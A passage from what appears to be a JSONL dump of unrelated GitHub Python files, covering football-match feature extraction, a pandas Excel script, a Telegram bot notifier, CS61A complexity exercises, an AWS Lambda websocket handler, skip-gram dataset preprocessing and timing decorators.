fixtures\n\t\tlineNum = 0\n\t\theader = None\n\t\tfixtureData = None\n\t\tfixturesList = []\n\t\t\n\t\t# Open and read the CSV fixtures file\n\t\treader = csv.reader(open(filename,\"rb\"))\n\t\tfor row in reader:\n\t\t\tif lineNum == 0:\n\t\t\t\theader = row\n\t\t\telse:\n\t\t\t\tfixtureData = row\n\t\t\t\tfixture = Fixture(header, fixtureData)\n\t\t\t\tfixturesList.append(fixture)\n\t\t\tlineNum += 1\n\t\t\n\t\t# Return the list of the fixtures in the CSV file\n\t\tself.logger.info('Read %d fixtures from %s (%d lines)',len(fixturesList), filename, lineNum)\n\n\t\t# Initialise the features list\n\t\tself.setFeatures(fixturesList, filename)\n\n\tdef getFeaturesList(self):\n\t\t\"\"\" Returns the list of features objects, allowing FeatureSets \n\t\t\tto append multiple lists of features. \n\t\t\"\"\"\n\t\treturn self.featuresList\n\n\tdef append(self, featureSet):\n\t\t\"\"\" Adds another featureSet to this one, i.e., appends\n\t\t\tthe list of features in the other featureSet to the \n\t\t\tlist of features in this one. Used to concatenate \n\t\t\tmultiple featureSets.\n\t\t\"\"\"\n\t\totherFeaturesList = featureSet.getFeaturesList()\n\t\tself.featuresList = self.featuresList + otherFeaturesList\n\t\tself.sortFeaturesByDate()\n\t\tself.logger.info('Adding to FeatureSet, size: %d',len(self.featuresList))\n\t\t\n\t\t\t\t\t\t\t\n\tdef getFileDetails(self, filePath):\n\t\t\"\"\" Gets the file list and parses it to \n\t\t\tfind the league code (e.g., E0) and\n\t\t\tthe seasoncode (e.g, 1615)\n\t\t\"\"\"\n\t\ttokens = filePath.split(os.path.sep)\n\t\tleagueCode = tokens[-1].split('.')[0]\n\t\tseasonCode = tokens[-2]\n\t\treturn leagueCode, seasonCode\n\n\tdef setFeatures(self, fixturesList, filename):\n\t\t\"\"\" Function which iterates through the fixtures list\n\t\t\tcreating an associated feature set for each fixture.\n\t\t\tThe features are stored in the global featuresList variable. \n\t\t\"\"\"\t\t\n\t\t# Initialize the league with the fixtures data\n\t\tleagueCode, seasonCode = self.getFileDetails(filename)\n\t\tleague = League(leagueCode, seasonCode)\n\n\t\tnumFixtures = 0\n\t\tfor fixture in fixturesList:\n\t\t\tif league.hasMinGames():\n\t\t\t\tfeatures = Features(league, fixture)\n\t\t\t\tself.featuresList.append(features)\n\t\t\t\tleague.addFixture(fixture)\n\t\t\telse:\n\t\t\t\tleague.addFixture(fixture)\n\t\t\tnumFixtures += 1\n\n\t\tself.sortFeaturesByDate()\n\t\tself.logger.info('Initialized Season %s, League %s with %d fixtures',seasonCode, leagueCode, numFixtures)\n\t\n\tdef sortFeaturesByDate(self):\n\t\tself.featuresList.sort(key=lambda x: x.getDate(), reverse=False)\n\t\t\t\n\tdef getFeaturesData(self):\n\t\t\"\"\" Returns the features data as a list of lists.\n\t\t\"\"\"\n\t\tresultList = []\n\t\t#self.sortFeaturesByDate()\n\t\tfor index, feature in enumerate(self.featuresList):\n\t\t\tfeatureData = feature.getFeatureData()\n\t\t\tresultList.append(featureData)\n\t\treturn list(resultList)\n\n\tdef getHeader(self):\n\t\tif len(self.featuresList) > 0:\n\t\t\treturn self.featuresList[0].getHeader()\n\t\telse:\n\t\t\treturn None\n\n\tdef getValidCols(self, homeResult=True):\n\t\t\"\"\" Returns the valid columns considered as part of a model. \n\t\t\tIf the homeResult variable is set, or ignored then features\n\t\t\tassociated with a home win are returned. If the variable is \n\t\t\tset to False, it returns features associated with an away win. \n\t\t\"\"\"\n\t\treturn self.featuresList[0].getValidCols(homeResult)\n\t\t\t\n\tdef size(self):\n\t\t\"\"\" Returns the number of features in the featureSet.\n\t\t\"\"\"\n\t\treturn len(self.featuresList)\n","repo_name":"brennash/LeaguePredict_Beta","sub_path":"leaguepredict/features/FeatureSet.py","file_name":"FeatureSet.py","file_ext":"py","file_size_in_byte":3774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12335003762","text":"\n# Importing Modules\nimport pandas as pd\nimport numpy as np\n\n#NAME OF EXCEL FILE, Set to a variable, Eventually this needs to cycle through a given directory for multiple files.\nexcel_file_copy = 'TESTCOPY.xlsx'\ncopy_sheet = pd.read_excel(excel_file_copy)\n\ndef copy_range():\n #Returns the entire dataset.\n #print(copy_sheet.head())\n\n index = copy_sheet.index\n col = copy_sheet.columns\n values = copy_sheet.values\n\n\n copy_sheet_cols = pd.DataFrame(copy_sheet, ['ID', 'Parent', 'Subject', 'Page Label', 'Page Index',\n 'Lock', 'Status', 'Tick Mark','Author',\n 'Date', 'Colour', 'Comments'])\n\n split_names = copy_sheet['Comments'].str.split()\n subject = copy_sheet['Subject']\n\n print(split_names)\n joined_names = split_names.str.get(0) + \" \" + split_names.str.get(1)\n measurements = split_names.str.get(2)\n print(joined_names)\n print(measurements)\n\n # Results almost works, displays names twice though, for example (55 Unit 601 Unit 601 Floor Area 426.54)\n\n results = pd.merge(pd.merge(joined_names, subject, left_index=True,\n right_index=True, how='outer', on=joined_names),\n measurements, how='outer', on= joined_names,\n left_index=True)\n\n print(results)\n\ncopy_range()","repo_name":"jacob568/JDJ-1","sub_path":"PandasXL.py","file_name":"PandasXL.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70501586653","text":"#!/usr/bin/python3\n\nimport os\nimport subprocess as sp\nimport requests\nfrom datetime import datetime,timedelta, date, time, timezone\nimport pytz\nimport logging\nimport configparser # импортируем библиотеку\nconfig = configparser.ConfigParser() # создаём объекта парсера\nconfig.read(\".env\") # читаем конфиг\n\nloc=config['local']\n\n#Метка бэкапов\ntag=loc['tag']\n# расположение лога\nlogdir=loc['logdir']\n\n# имя файла лога\nfilename=logdir+\"/backup_\"+tag+\".log\"\n\n# Включаем логирование, чтобы не пропустить важные сообщения\nlogging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s',\n level=logging.DEBUG,\n filename=filename)\n#база данных для бэкапа\ndbname=loc['dbname']\n\n#реквизиты телеграм бота\ntg=config['telegramBot']\nURL=tg['TG_URL']\nbotToken=tg['TG_BOT_TOKEN']\nchatId=tg['TG_CHAT_ID']\nMSG=''\n\n# Текущия дата время в часовом поясе Екатеринбург\nnow = datetime.now(pytz.timezone(loc['timezone']))\n\n# текущая date\ntdate = now.strftime('%Y%m%d')\n\n# текущее время\nttime = now.strftime(\"%H%M%S\")\n\nMSG= \"\"\"*bold \\*text*\n_italic \\*text_\n__underline__\n~strikethrough~\n||spoiler||\n*bold _italic bold ~italic bold strikethrough ||italic bold strikethrough spoiler||~ __underline italic bold___ bold*\n[inline URL](http://www.example.com/)\n[inline mention of a user](tg://user?id=123456789)\n`inline fixed-width code`\n```\npre-formatted fixed-width code block\n```\n```python\npre-formatted fixed-width code block written in the Python programming language\n```\"\"\"\n\ntg_param = (f\" -s -X POST {URL}{botToken}/sendMessage -d chat_id={chatId} -d parse_mode=Markdownv2 -d text='{MSG}'\")\nos.system(f\"/usr/bin/curl {tg_param}\")\n","repo_name":"ifgeny87/big-js-boilerplate","sub_path":"monitoring/backups/scripts/send_text.py","file_name":"send_text.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1633949813","text":"# Q1\n# O(2^n)\ndef carpe_noctem(n):\n\tif n <= 1:\t# this block is O(1) on its own\n\t\treturn n \n\treturn carpe_noctem(n - 1) + carpe_noctem(n - 2) # two recursive calls\n# O(n^2*2^n)\ndef yolo(n):\n\tif n <= 1: # this block is O(1) on its own\n\t\treturn 5\n\tsum = 0\t# O(1)\n\tfor i in range(n): # this block is O(n) times...\n\t\tsum += carpe_noctem(n) # whatever the OOG of carpe_noctem is.(In fact, O(2^n))\n\treturn sum + yolo(n - 1) # and then there's another recursive call\n\n\n# Exercise 1\n# O(logn)\ndef mystery1(n):\n\tn, result = str(n), '' # str(n) is O(logn)\n\tnum_digits = len(n) # len(n) is O(1)\n\tfor i in range(num_digits):\n\t\tresult += n[num_digits - i - 1]\n\treturn result\n\n# O(1)\tNote: The input n doesn't even matter!\ndef mystery2(n):\n\tn, result = 5, 0\n\twhile n <= 3000:\n\t\tresult += mystery1(n // 2)\n\t\tn += 1\n\treturn result\n\n# Exercise 2\n# O(logn)\ndef mystery3(n):\n\tif n < 0 or n <= sqrt(n):\n\t\treturn n \n\treturn n + mystery3(n // 3)\n# O(logn)\ndef mystery4(n):\n\tif n < 0 or sqrt(n) <= 50:\n\t\treturn 1\n\treturn n * mystery4(n // 2)\n# O(sqrt(n))\ndef mystery5(n):\n\tfor _ in range(int(sqrt(n))):\n\t\tn = 1 + 1\n\treturn n\n\n# Exercise 3\n# O(nlogn)\ndef mystery6(n):\n\twhile n > 1:\n\t\tx = n \n\t\twhile x > 1:\n\t\t\tprint(n, x)\n\t\t\tx = x // 2\n\t\tn -= 1\n# O(n)\ndef mystery7(n):\n\tresult = 0\n\tfor i in range(n // 10):\n\t\tresult += 1\n\t\tfor j in range(10):\n\t\t\tresult += 1\n\t\t\tfor k in range(10 // n):\n\t\t\t\tresult += 1\n\treturn result\n\n# Exercise 4\n# O(n^2logn)\ndef mystery8(n):\n\tif n == 0: return ''\n\tresult, stringified = '', str(n)\n\tfor digit in stringified:\n\t\tfor _ in range(n):\n\t\t\tresult += digit\n\tresult += mystery8(n - 1)\n\treturn result\n# O(n^2) 答案说是O(n),感觉不对\ndef mystery9(n):\n\ttotal = 0\n\tfor i in range(1, n):\n\t\ttotal *= 2\n\t\tif i % n == 0: # this if-statement never happens\n\t\t\ttotal *= mystery9(n - 1)\n\t\t\ttotal *= mystery9(n - 2)\n\t\telif i == n // 2: # this only happens once\n\t\t\tfor j in range(1, n):\n\t\t\t\ttotal *= j\n\treturn total\n\n# Exercise 5\n# O(n)\ndef mystery10(n):\n\tif n > 0:\n\t\tr1 = mystery10(-n)\n\t\tr2 = mystery10(n - 1)\n\t\treturn r1 + r2\n\treturn 1\n# O(nlogn)\tWe make O(2^logn) = O(n) recursive calls, and each recursive call does logn work.\ndef mystery11(n):\n\tif n < 1: return n \n\tdef mystery12(n):\n\t\ti = 1\n\t\twhile i < n:\n\t\t\ti *= 2\n\t\treturn i\n\treturn mystery11(n / 2) + mystery11(n / 2) + mystery12(n - 2)\n\n# Exercise 6\n# The orders of growth should now be functions of m and n.\n# O(3^m*logn)\ndef mystery13(m, n):\n\tif n <= 1:\n\t\treturn 0\n\tresult = 0\n\tfor i in range(3 ** m):\n\t\tresult += i // n \n\treturn result + mystery13(m - 5, n // 3)\n# O(m+n*sqrt(n))\ndef mystery14(m, n):\n\tresult = 0\n\tfor i in range(1, m):\n\t\tj = i * i \n\t\twhile j <= n:\n\t\t\tresult, j = result + j, j + 1\n\treturn result\n\n# Exercise 7\n# Define n to be the length of the input list. How much memory does the\n# following program use as a function of n?\n# O(n^2)\nimport random\ndef weighted_random_choice(lst):\n\ttemp = []\n\tfor i in range(len(lst)):\n\t\ttemp.extend([lst[i] * (i + 1)])\n\tprint(\"temp is \", temp)\n\treturn random.choice(temp)\n\n# Exercise 8\n# O(logn)\ndef index_exists(A):\n\tdef helper(lower, upper):\n\t\tif lower >= upper:\n\t\t\treturn A[upper] == upper\n\t\tmid_idx = (lower + upper) // 2\n\t\tif A[mid_idx] == mid_idx:\n\t\t\treturn True\n\t\telif A[mid_idx] > mid_idx:\n\t\t\treturn helper(lower, mid_idx - 1)\n\t\telse:\n\t\t\treturn helper(mid_idx + 1, upper)\n\n\treturn helper(0, len(A) - 1)","repo_name":"lasttillend/CS61A","sub_path":"miscellaneous/OOG_Review.py","file_name":"OOG_Review.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"26181698147","text":"from neutron.common import exceptions\n\n\nclass BCFRestError(exceptions.NeutronException):\n message = \"Fail to call BCF REST API: code=%(code)s, result=%(result)s, \"\\\n \"method=%(method)s, url=%(url)s, data=%(data)s\"\n\n def __init__(self, **kwargs):\n self.code = kwargs.get('code')\n self.result = kwargs.get('result')\n self.method = kwargs.get('method')\n self.url = kwargs.get('url')\n self.data = kwargs.get('data')\n super(BCFRestError, self).__init__(**kwargs)\n\n\nclass UpdateNetworkNameError(exceptions.NeutronException):\n message = \"Updating network name is not allowed.\"\n","repo_name":"DeNADev/networking-bigswitch-l3-pe","sub_path":"networking_bigswitch_l3_pe/lib/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"39401654638","text":"import json\nimport sys\nfrom rich.markdown import Markdown\nfrom rich.console import Console\nfrom rich import print as rich_print\nfrom rich.json import JSON\nimport io\n\n# Save the original print function\noriginal_print = print\n\n\ndef to_str(s):\n if isinstance(s, (dict, list)):\n return json.dumps(s, indent=4)\n return str(s)\n\n\nclass Printer:\n def __init__(self):\n self.callbacks = {}\n console = Console()\n self.is_terminal = console.is_terminal\n self.is_jupyter = console.is_jupyter\n self.is_interactive = Console().is_interactive\n self.use_rich = self.is_terminal or self.is_jupyter or self.is_interactive\n self.output_capture = io.StringIO() # Moved inside the class as an instance variable\n\n def add_callback(self, func):\n self.callbacks[func.__name__] = func\n\n def remove_callback(self, func_name):\n self.callbacks.pop(func_name, None)\n\n def print(self, *messages, sep=' ', end='\\n', file=None, flush=False, print_type='str', output_option='both'):\n formatted_message = sep.join(map(to_str, messages))\n\n if print_type == 'markdown' and self.use_rich:\n formatted_message = Markdown(formatted_message)\n elif print_type == 'json' and self.use_rich:\n formatted_message = JSON(formatted_message)\n\n for callback in self.callbacks.values():\n try:\n callback(formatted_message, end=end, file=file, flush=flush, output_option=output_option)\n except Exception as e:\n original_print(f\"Error in callback {callback.__name__}: {str(e)}\", file=sys.stderr)\n\n def add_default_callback(self):\n if self.use_rich:\n def default_print(message, end='\\n', file=None, flush=False, output_option='terminal'):\n target_file = file or self.output_capture\n if output_option in ['terminal', 'both']:\n console = Console(force_jupyter=self.is_jupyter, force_terminal=self.is_terminal, force_interactive=self.is_interactive, file=target_file)\n console.print(message, end=end)\n # if output_option in ['stdout', 'both']:\n # rich_print(message, end=end, file=sys.stdout, flush=flush)\n else:\n def default_print(message, end='\\n', file=None, flush=False, output_option='both'):\n target_file = file or self.output_capture\n if output_option in ['stdout', 'both']:\n original_print(message, end=end, file=target_file, flush=flush)\n if output_option in ['terminal', 'both'] and target_file is not sys.stdout:\n original_print(message, end=end, file=sys.stdout, flush=flush)\n\n self.add_callback(default_print)\n\n\nprinter = Printer()\nprinter.add_default_callback()\n\n\n# Replace the built-in print\ndef print(*args, sep=' ', end='\\n', file=None, flush=False, print_type='str', output_option='both', **kwargs):\n printer.print(*args, sep=sep, end=end, file=file, flush=flush, print_type=print_type, output_option=output_option, **kwargs)\n","repo_name":"timedomain-tech/open-creator","sub_path":"creator/utils/printer.py","file_name":"printer.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"32"} +{"seq_id":"71091586011","text":"import boto3\nimport json\n\n\ns3 = boto3.client('s3')\n\ndef lambda_handler(event, context):\n # Parse the user ID from the input event\n print(json.dumps(event))\n\n connection_id = event['requestContext']['connectionId']\n user_id = event['queryStringParameters']['userid']\n target_id =event['queryStringParameters']['targid']\n\n # Store the user ID and connection ID in the S3 bucket\n bucket_name = 'a1ses'\n object_key = f'connections/{connection_id}_{user_id}.json'\n\n try:\n # Create a dictionary with user_id and connection_id\n data = {\n 'user_id': user_id,\n 'target_id': target_id,\n 'connection_id': connection_id\n }\n\n # Store the dictionary as a JSON object in S3\n s3.put_object(\n Bucket=bucket_name,\n Key=object_key,\n Body=json.dumps(data)\n )\n except Exception as e:\n return {\n 'statusCode': 500,\n 'body': json.dumps({'error': str(e)})\n }\n\n return {\n 'statusCode': 200,\n 'body': 'User ID and Connection ID stored in S3 successfully!'\n }","repo_name":"Nuthan25/webchatapp","sub_path":"webconnect/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15103659447","text":"###\r\n#\r\n# Construct SkipGram dataset\r\n#\r\n###v\r\n\r\nimport os\r\nimport time\r\nimport datetime\r\n\r\nfrom config import parameters\r\n\r\nfrom utils.dataset_utils import shuffle_and_subset_dataset, process_bnc_data, numericalise_dataset, train_validate_split, basic_tokenise, word_counts, dataset_sampling, select_synonyms, numeric_csv_to_npy, process_all_datafiles, seqlist_from_raw_text, seqlist_to_skipgram_data, skipgram_sampling, augment_npy_skipgram\r\nfrom utils.funcs import dir_validation, print_parameters\r\nfrom utils.training_utils import build_vocabulary\r\n\r\nimport numpy as np\r\nimport torch\r\n\r\n\r\nif __name__ == '__main__':\r\n print_parameters(parameters)\r\n\r\n # DATA_PATH = parameters['bnc_subset_data'] if parameters['use_data_subset'] else parameters['bnc_data']\r\n # TAGS_PATH = parameters['bnc_subset_tags'] if parameters['use_data_subset'] else parameters['bnc_tags']\r\n # COUNTS_FILE = parameters['bnc_subset_counts'] if parameters['use_data_subset'] else parameters['bnc_counts']\r\n # print_parameters(parameters)\r\n # exit()\r\n\r\n # PROCESS ALL TEXT FILES AND SAVE TO A SINGLE\r\n # RAW TEXT FILE\r\n if not os.path.exists(parameters['bnc_data']):\r\n print(f'No processed file found at {parameters[\"bnc_data\"]}, creating single simple text dataset file from XML files at {parameters[\"bnc_texts_dir\"]}')\r\n process_all_datafiles(\r\n parameters['bnc_texts_dir'],\r\n parameters['bnc_data'],\r\n tags_savefile=parameters['bnc_tags'],\r\n use_headwords=False,\r\n replace_nums=False,\r\n replace_unclass=False)\r\n else:\r\n print(f'Processed simple text file found at {parameters[\"bnc_data\"]}')\r\n\r\n ## SHUFFLE AND SUBSET DATASET\r\n if parameters['use_data_subset']:\r\n print(f'Using data subset: {parameters[\"data_subset_size\"] * 100}% of full dataset')\r\n if not os.path.exists(parameters['bnc_subset_data']) or not os.path.exists(parameters['bnc_subset_tags']):\r\n shuffle_and_subset_dataset(\r\n parameters['bnc_data'],\r\n parameters['bnc_tags'],\r\n parameters['bnc_subset_data'],\r\n parameters['bnc_subset_tags'],\r\n data_size=parameters['data_subset_size'])\r\n else:\r\n print(f'Found existing dataset subset at {parameters[\"bnc_subset_data\"]} and {parameters[\"bnc_subset_tags\"]} \\n')\r\n\r\n ## CONVERT RAW TEXT SENTENCES TO SEQUENCE LIST\r\n if not os.path.exists(parameters['tokenised_data']):\r\n bnc_data = parameters['bnc_subset_data'] if parameters['use_data_subset'] else parameters[\"bnc_data\"]\r\n print(f'Processing sequence lists for dataset at {bnc_data}, saving to {parameters[\"tokenised_data\"]}')\r\n seqlist_from_raw_text(\r\n bnc_data,\r\n parameters['tokenised_data'],\r\n to_lower=parameters['to_lower'],\r\n replace_num=parameters['replace_num'],\r\n remove_punct=parameters['remove_punct'])\r\n else:\r\n print(f'Found existing dependency trees and sequence lists dataset file at {parameters[\"tokenised_data\"]}\\n')\r\n \r\n\r\n ## DATASET WORD COUNTS\r\n if not os.path.exists(parameters['counts_file']):\r\n print(f'Calculating word counts for tokenised dataset at {parameters[\"tokenised_data\"]}')\r\n # tokenised_data = basic_tokenise(parameters['raw_data'], preserve_sents=True)\r\n # Load tokenised data, without POSl k tags\r\n tokenised_data = [[w[0] for w in sent] for sent in np.load(parameters['tokenised_data'])]\r\n word_counts(tokenised_data, parameters['counts_file'])\r\n else:\r\n print(f'Found existing word counts file at {parameters[\"counts_file\"]}\\n')\r\n \r\n ## SPLIT DATASET\r\n if not os.path.exists(parameters['train_data']) \\\r\n or not os.path.exists(parameters['val_data']):\r\n train_validate_split(\r\n parameters['tokenised_data'],\r\n parameters['train_data'],\r\n parameters['val_data'],\r\n proportion=parameters['split_ratio'])\r\n else:\r\n print(f'Found existing train/validation datasets at: \\n - {parameters[\"train_data\"]} \\n - {parameters[\"val_data\"]}')\r\n \r\n\r\n # CONSTRUCT SKIP-GRAM DATASET\r\n if not os.path.exists(parameters['train_skipgram_data']):\r\n print(f'Constructing Skip gram training dataset at {parameters[\"train_skipgram_data\"]} from tokenised training data at {parameters[\"train_data\"]}')\r\n\r\n seqlist_to_skipgram_data(\r\n parameters[\"train_data\"],\r\n parameters[\"train_skipgram_data\"],\r\n ctx_size=parameters['ctx_size'],\r\n write_batch=50000)\r\n\r\n if not os.path.exists(parameters['val_skipgram_data']):\r\n print(f'Constructing Skip gram validation dataset at {parameters[\"val_skipgram_data\"]} from tokenised validation data at {parameters[\"val_data\"]}')\r\n\r\n seqlist_to_skipgram_data(\r\n parameters[\"val_data\"],\r\n parameters[\"val_skipgram_data\"],\r\n ctx_size=parameters['ctx_size'],\r\n write_batch=50000)\r\n \r\n\r\n ## SAMPLE CONTEXT WORDS AND SAVE TO FILE\r\n if not os.path.exists(parameters['train_skipgram_sampled_data']):\r\n print(f'Constructing context-sampled skip gram training dataset at {parameters[\"train_skipgram_sampled_data\"]} from {parameters[\"train_skipgram_data\"]}')\r\n\r\n skipgram_sampling(\r\n parameters[\"train_skipgram_data\"],\r\n parameters[\"train_skipgram_sampled_data\"],\r\n max_context=parameters['ctx_size'])\r\n else:\r\n print(f'Context-sampled skip gram training data file found at {parameters[\"train_skipgram_sampled_data\"]}')\r\n \r\n if not os.path.exists(parameters['val_skipgram_sampled_data']):\r\n print(f'Constructing context-sampled skip gram validation dataset at {parameters[\"val_skipgram_sampled_data\"]} from {parameters[\"val_skipgram_data\"]}')\r\n\r\n skipgram_sampling(\r\n parameters[\"val_skipgram_data\"],\r\n parameters[\"val_skipgram_sampled_data\"],\r\n max_context=parameters['ctx_size'])\r\n else:\r\n print(f'Context-sampled Skip-gram validation data file found at {parameters[\"val_skipgram_sampled_data\"]}')\r\n\r\n \r\n ## CONSTRUCT VOCABULARY OBJECT FROM COUNTS FILE\r\n VOCABULARY = build_vocabulary(parameters['counts_file'], min_freq=parameters['vocab_cutoff'])\r\n\r\n\r\n # CONSTRUCT AUGMENTED DATASETS\r\n # NOTE: augmented validation dataset might not be necessary\r\n if parameters['syn_augm']:\r\n if not os.path.exists(parameters['train_skipgram_augm_data']):\r\n print(f'Augmenting Skip-gram training dataset at {parameters[\"train_skipgram_augm_data\"]} from sampled training data at {parameters[\"train_skipgram_sampled_data\"]}')\r\n \r\n augment_npy_skipgram(\r\n parameters[\"train_skipgram_sampled_data\"],\r\n parameters['train_skipgram_augm_data'],\r\n VOCABULARY,\r\n ctx_size=parameters['ctx_size'],\r\n syn_selection=parameters['synonym_selection'])\r\n else:\r\n print(f'Augmented Skip-gram training data file found at {parameters[\"train_skipgram_augm_data\"]}')\r\n \r\n if not os.path.exists(parameters['val_skipgram_augm_data']):\r\n print(f'Augmenting Skip-gram validation dataset at {parameters[\"val_skipgram_augm_data\"]} from sampled validationg data at {parameters[\"val_skipgram_sampled_data\"]}')\r\n \r\n augment_npy_skipgram(\r\n parameters[\"val_skipgram_sampled_data\"],\r\n parameters['val_skipgram_augm_data'],\r\n VOCABULARY,\r\n ctx_size=parameters['ctx_size'],\r\n syn_selection=parameters['synonym_selection'])\r\n else:\r\n print(f'Augmented Skip-gram validation data file found at {parameters[\"val_skipgram_augm_data\"]}')\r\n\r\n # NUMERICALISING SKIPGRAM DATA\r\n DEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n\r\n if parameters['num_to_tensor']:\r\n print(f'Numericalised files as PyTorch tensors for device {DEVICE}')\r\n\r\n # TRAINING\r\n if not os.path.exists(parameters['num_train_skipgram_sampled_data']):\r\n print(f'No numericalised Skip-gram training sampled data file found at {parameters[\"num_train_skipgram_sampled_data\"]}, creating numericalised file from dataset at {parameters[\"train_skipgram_sampled_data\"]}')\r\n\r\n numericalise_dataset(\r\n parameters['train_skipgram_sampled_data'],\r\n parameters['num_train_skipgram_sampled_data'],\r\n VOCABULARY,\r\n to_tensor=parameters['num_to_tensor'],\r\n device=DEVICE)\r\n else:\r\n print(f'Numericalised Skip gram training sampled data file found at {parameters[\"num_train_skipgram_sampled_data\"]}')\r\n \r\n # TRAINING AUGMENTED\r\n if not os.path.exists(parameters['num_train_skipgram_augm_data']):\r\n print(f'No numericalised Skip-gram training augmented data file found at {parameters[\"num_train_skipgram_augm_data\"]}, creating numericalised file from dataset at {parameters[\"train_skipgram_augm_data\"]}')\r\n\r\n numericalise_dataset(\r\n parameters['train_skipgram_augm_data'],\r\n parameters['num_train_skipgram_augm_data'],\r\n VOCABULARY,\r\n to_tensor=parameters['num_to_tensor'],\r\n device=DEVICE)\r\n else:\r\n print(f'Numericalised Skip-gram training augmented data file found at {parameters[\"num_train_skipgram_augm_data\"]}')\r\n\r\n # VALIDATION\r\n if not os.path.exists(parameters['num_val_skipgram_sampled_data']):\r\n print(f'No numericalised Skip-gram validation sampled data file found at {parameters[\"num_val_skipgram_sampled_data\"]}, creating numericalised file from dataset at {parameters[\"val_skipgram_sampled_data\"]}')\r\n\r\n numericalise_dataset(\r\n parameters['val_skipgram_sampled_data'],\r\n parameters['num_val_skipgram_sampled_data'],\r\n VOCABULARY,\r\n to_tensor=parameters['num_to_tensor'],\r\n device=DEVICE)\r\n else:\r\n print(f'Numericalised Skip gram training sampled data file found at {parameters[\"num_val_skipgram_sampled_data\"]}')\r\n \r\n # VALIDATION AUGMENTED\r\n if not os.path.exists(parameters['num_val_skipgram_augm_data']):\r\n print(f'No numericalised Skip-gram validation augmented data file found at {parameters[\"num_val_skipgram_augm_data\"]}, creating numericalised file from dataset at {parameters[\"val_skipgram_augm_data\"]}')\r\n\r\n numericalise_dataset(\r\n parameters['val_skipgram_augm_data'],\r\n parameters['num_val_skipgram_augm_data'],\r\n VOCABULARY,\r\n to_tensor=parameters['num_to_tensor'],\r\n device=DEVICE)\r\n else:\r\n print(f'Numericalised Skip-gram validation augmented data file found at {parameters[\"num_val_skipgram_augm_data\"]}')\r\n","repo_name":"drelso/knowledge-augmented-skipgram","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":10906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3009763768","text":"import time\nimport functools\nfrom types import FunctionType\nfrom .decorator_prototype import Singleton, decorator_switcher\n\n\n@decorator_switcher\nclass _OneTimer(metaclass=Singleton):\n _title = True\n\n def __call__(self, func: FunctionType):\n title_prefix = '[{}]'.format(func.__qualname__) if self._title else ''\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n if title_prefix:\n print('{} Start'.format(title_prefix))\n start = time.time()\n result = func(*args, **kwargs)\n end = time.time()\n print('{} {} Elapsed time: {:.7f} secs'.format(\n title_prefix, 'End,' if title_prefix else '',\n end - start))\n return result\n return wrapper\n\n def notitle(self, func):\n self._title = False\n wrapper = self(func)\n self._title = True\n return wrapper\n\n\none_timer = _OneTimer()\n\n\nclass _CumulatedTimer(metaclass=Singleton):\n _dict_elapse_times = {}\n _check_answer = None\n\n def __init__(self):\n self._dict_elapse_times['Default'] = 0.0\n\n @classmethod\n def timeit_with_answer_checking(cls, allowed_answers: tuple):\n cls._check_answer = allowed_answers\n return cls.timeit\n\n @classmethod\n def timeit(cls, func: FunctionType):\n @functools.wraps(func)\n def _register(*args, **kwargs):\n start = time.time()\n result = func(*args, **kwargs)\n end = time.time()\n func_name = func.__qualname__\n if cls._check_answer is not None and result not in cls._check_answer:\n return result\n if func_name not in cls._dict_elapse_times:\n cls._dict_elapse_times[func_name] = [0, 0.0]\n cls._dict_elapse_times[func_name][0] += 1\n cls._dict_elapse_times[func_name][1] += (end - start)\n return result\n return _register\n\n @classmethod\n def reset(cls, func_name: str = None) -> None:\n if func_name is None:\n cls._dict_elapse_times.clear()\n else:\n func_name = cls._check_name(func_name)\n cls._dict_elapse_times[func_name][0] = 0\n cls._dict_elapse_times[func_name][1] = 0.0\n\n @classmethod\n def _check_name(cls, func_name: str) -> str:\n for reg_name in cls._dict_elapse_times:\n if reg_name.endswith(func_name):\n return reg_name\n else:\n print('Function {} is not registed to timer.')\n return 'Default'\n\n @classmethod\n def get_count(cls, func_name: str) -> int:\n func_name = cls._check_name(func_name)\n return cls._dict_elapse_times[func_name][0]\n\n @classmethod\n def get_time(cls, func_name: str) -> float:\n func_name = cls._check_name(func_name)\n return cls._dict_elapse_times[func_name][1]\n\n @classmethod\n def get_summary(cls, func_name: str) -> str:\n func_name = cls._check_name(func_name)\n count = cls._dict_elapse_times[func_name][0]\n ttime = cls._dict_elapse_times[func_name][1]\n return \\\n '[{}] Tatal count: {}, Total time: {:.7f} secs, Average time: {:.7f} secs'.format(\n func_name, count, ttime, ttime / count\n )\n\n @classmethod\n def print_summary(cls, func_name: str) -> None:\n print(cls.get_summary(func_name))\n\n\ncumulated_timer = _CumulatedTimer()\n","repo_name":"howish/python_tools","sub_path":"decorators/function_timer.py","file_name":"function_timer.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30131460115","text":"import torch\n\nfrom batch_bald import exact as joint_entropy_exact, torch_utils, sampling as joint_entropy_sampling\nimport math\n\nfrom batch_bald.acquisition_functions import AcquisitionFunction\nfrom batch_bald.reduced_consistent_mc_sampler import reduced_eval_consistent_bayesian_model\n\n\ncompute_multi_bald_bag_multi_bald_batch_size = None\n\n\ndef compute_multi_bald_batch(\n bayesian_model,\n unlabeled_loader,\n num_classes,\n k,\n b,\n):\n partial_multi_bald_B, logits_B_K_C = 